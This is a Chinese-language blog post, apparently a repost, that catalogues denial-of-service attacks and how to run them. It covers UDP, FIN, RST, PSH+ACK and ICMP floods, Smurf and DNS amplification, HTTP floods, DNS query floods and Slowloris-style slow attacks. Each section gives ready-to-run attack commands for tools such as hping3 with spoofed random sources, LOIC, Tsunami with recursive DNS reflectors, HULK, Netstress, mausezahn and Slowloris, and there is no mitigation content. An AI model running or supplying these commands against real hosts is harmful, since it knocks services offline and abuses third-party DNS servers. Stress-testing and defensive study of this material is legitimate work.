UDP FLOOD 攻击
UDP协议与TCP协议不同,是无连接状态的协议.UDPFlood是流量型DoS攻击,原理也很简单。在UDPFLOOD攻击中,攻击者可发送大量伪造源IP地址的小UDP包。但是,由于UDP协议是无连接性的,所以只要开了一个UDP的端口提供相关服务的话,那么就可针对相关的服务进行攻击。
攻击工具与方法 hping3 :
root@kali:~# hping3 --flood --rand-source --udp -p TARGET_PORT TARGET_IP HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): udp mode set, 28 headers + 0 data bytes hping in flood mode, no replies will be shown
–flood: sent packets as fast as possible
–rand-source: random source address
–udp: UDP mode
-p –destport: destination port (default 0)
攻击工具与方法 LOIC :
(Low Orbit Ion Cannon 低轨道离职炮)是一个最受欢迎的DOS攻击工具,而且有图形界面、更简单易用 。
左上角文本框填入IP或域名后点击Lock on,开始解析主机ip并选定为攻击目标。
下方还有端口,线程,模式的配置,攻击速度等,这些都是需要的,也可以保持默认(端口默认是80,线程默认是10,攻击速度最快),但是攻击模式是必须自己选择的,有HTTP,TCP和UDP 3种。
点击“IMMA CHARGIN MAH LAZER”按钮开始攻击,最下方有攻击的状态。
TCP FIN Flood
当客户端与服务端建立一个TCP连接的时候,带有FIN标记的TCP包才会被服务端接收,否则,即被丢弃。
如果攻击者向一个没有建立TCP连接的服务器发送,FIN包会被丢弃,但是服务器需要消耗资源来处理。
因为仅仅需要构造这种垃圾FIN包并发送他们,所以这种攻击很容易发起 。
攻击工具与方法 hping3
root@kali:~# hping3 --flood --rand-source -F -p TARGET_PORT TARGET_IP HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): F set, 40 headers + 0 data bytes hping in flood mode, no replies will be shown
-F stands for setting FIN flag.
TCP RST Flood
RST包用于强制关闭TCP链接 。
如果攻击者捕捉到了源到目的地址的流量,便可以伪造RST包(使用正确的源地址,目的地址,源端口,目的端口等),这个RST包可以关闭真正的连接 。在持续发送的情况下,就很有可能使真正的连接无法建立。
攻击工具与方法 hping3 使用 -R 参数
root@kali:~# hping3 --flood --rand-source -R -p TARGET_PORT TARGET_IP HPING TARGET_IP (eth0 TARGET_IP): R set, 40 headers + 0 data bytes hping in flood mode, no replies will be shown
PUSH + ACK Flood
攻击者通过发送大量的同时标记PUSH 与 ACK的包 ,可以让服务器无法响应合法的请求。
攻击工具与方法 hping3 使用 -PA 参数
root@kali:~# hping3 --flood --rand-source -PA -p TARGET_PORT TARGET_IP HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): AP set, 40 headers + 0 data bytes hping in flood mode, no replies will be shown
-PA stands for setting PSH and ACK flags.
攻击工具与方法:
LOIC同样可以发起此种攻击,如果你选择 “TCP”的攻击模式,便会执行PSH+ACK flood 。
ICMP 与 IGMP Floods
这两种攻击方式如同UDP Floods,都是流量型攻击,通过对其目标发送大量数据包,就可以令目标主机瘫痪 。
攻击工具与方法 hping3 使用 -1
root@kali:~# hping3 --flood --rand-source -1 -p TARGET_PORT TARGET_IP HPING TARGET_IP (eth0 TARGET_IP): icmp mode set, 28 headers + 0 data bytes hping in flood mode, no replies will be shown
DDOS放大型攻击
攻击者不把通信包直接发给受害者,而是发给放大器然后反射给受害者。利用回复包比请求包大的特点(放大流量),伪造请求包的源IP地址,将应答包引向被攻击的目标。
执行放大攻击必须使用不需要验证源地址的无连接协议 。常见的包括 Smurf 攻击(ICMP 放大), DNS 放大攻击,与 Fraggle 攻击(UDP 放大)
Smurf 攻击
Smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包,来淹没受害主机,最终导致该网络的所有主机都对此ICMP应答请求做出答复,导致网络阻塞。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方崩溃。
攻击工具与方法 hping3
hping3 --icmp --spoof TARGET_IP BROADCAST_IP
DNS 放大攻击
就是通过DNS服务器作为跳板放大攻击流量,恶意攻击者可以向DNS解析器发送大量伪造的查询请求
正常DNS查询:
源IP地址 -----DNS查询----> DNS服务器 -----DNS回复包----> 源IP地址
DNS攻击:
伪造IP地址 -----DNS查询----> DNS服务器 -----DNS回复包----> 伪造的IP地址(攻击目标)
这种攻击不仅仅会对被攻击者造成拒绝服务攻击,同时也会给DNS服务器带来异常的流量 。
攻击工具与方法 Tsunami
首先需要先收集提供递归查询服务的DNS服务器
./tsunami -o recursive_dns.txt -l 4 -e 172.0.0.0/8
然后可以执行攻击了
./tsunami -s TARGET_IP -n pentest.blog -p 3 -f recursive_dns.txt
-s: the target IP address.
-n: optional domain name to probe. The default is current hostname.
-f : the open recursive DNS servers file for the attack.
-p : number of packets to be send per DNS server. The default is 1 packet.
Fraggle 攻击
Fraggle攻击对Smurf攻击作了简单的修改,使用的是UDP应答消息而非ICMP
应用层DOS攻击
应用层攻击又可以称为第七层攻击,首先提交正常的连接建立请求, 在连接建立后, 向目标服务器提交服务请求, 消耗服务器计算资源. 由于在网络层行为表现正常, 应用层DDoS 攻击能够有效逃避应用层级的检测和过滤.
可以利用的协议包括 HTTP,HTTPS,DNS,SMTP,FTP,VOIP 与其他存在协议漏洞可以被用来发起攻击的应用层协议。
HTTP FLOOD
HTTP FLOOD 是最常见的应用层DOS攻击,别称叫做CC攻击(Challenge Collapsar),模拟正常用户的请求行为,与网站业务紧密相关 。
攻击工具与方法 LOIC ,选择 HTTP模式
攻击工具与方法 HULK(HTTP压力测试工具)
root@kali:~# python hulk.py -site http://TARGET.com/test/
攻击工具与方法 Apache JMeter
Apache JMeter是一个专门为运行和服务器装载测试而设计的、100%的纯Java桌面运行程序,可以用来模拟对服务器或者网络系统加以重负荷以测试它的抵抗力,或者用来分析不同负荷类型下的所有运行情况,简单说明使用方法
界面,显示测试计划
为你的测试计划增加线程
配置线程
定义 HTTP请求包
配置目的地址
现在基本配置已经完成,你也可以添加监听器,以便查看攻击报告。
按下CTRL+R已经可以发起攻击了。攻击报告会出现在监听器中
DNS Query Flood 攻击
实质上是UDP Flood的一种,但是由于DNS服务器的不可替代的关键作用,一旦服务器瘫痪,影响一般都很大。
攻击采用的方法是向被攻击的服务器发送大量的域名解析请求,通常请求解析的域名是随机生成或者是网络上根本不存在的域名,被攻击的DNS 服务器在接收到域名解析请求的时候首先会在服务器上查找是否有对应的缓存,如果查找不到并且该域名无法直接由服务器解析的时候,DNS 服务器会向其上层DNS服务器递归查询域名信息。域名解析的过程给服务器带来了很大的负载,每秒钟域名解析请求超过一定的数量就会造成DNS服务器解析域名超时。
攻击工具与方法 Netstress 与 mz(Mausezahn)
Netstress
root@kali:~# netstress.fullrandom -d TARGET_DNS_SERVER -a dns -t a -n 4 -P 53 ^C ---------- netstress stats ---------- PPS: 47980 BPS: 3070720 MPS: 2.93 Total seconds active: 1 Total packets sent: 47980 -------------------------------------
-d: destination address
-a: type of attack
-t: type of DNS query
-n: number of processes
-P: destination port
mz:
root@kali:~# mz -A rand -B TARGET_DNS_SERVER -t dns "q=pentest.blog" -c 10000000 Do you know what you do? Mausezahn will send 10000000 frames... ^C Mausezahn cleans up...
-A: source IP address
-B: destination IP address or domain name
-t: packet type
-c: number of packets
慢速DOS攻击
对任何一个开放了HTTP访问的服务器HTTP服务器,先建立了一个连接,指定一个比较大的content-length,然后以非常低的速度发包,比如1-10s发一个字节,然后维持住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致拒绝服务。
和CC攻击一样,只要Web服务器开放了Web服务,那么它就可以是一个靶子,HTTP协议在接收到request之前是不对请求内容作校验的,所以即使你的Web应用没有可用的form表单,这个攻击一样有效。
在客户端以单线程方式建立较大数量的无用连接,并保持持续发包的代价非常的低廉。实际试验中一台普通PC可以建立的连接在3000个以上。这对一台普通的Web server,将是致命的打击。更不用说结合肉鸡群做分布式DoS了
攻击工具与方法 Slowloris
目标地址
./slowloris.pl -dns TARGET_URL
端口
./slowloris.pl -dns TARGET_URL -port 80
SOCKT数量
./slowloris.pl -dns TARGET_URL -port 80 -num 200
超时时间
./slowloris.pl -dns TARGET_URL -port 80 -num 200 -timeout 30
HTTPS
./slowloris.pl -dns TARGET_URL -port 443 -timeout 30 -num 200 -https
未经允许请勿转载:程序喵 » DDOS攻击方法与工具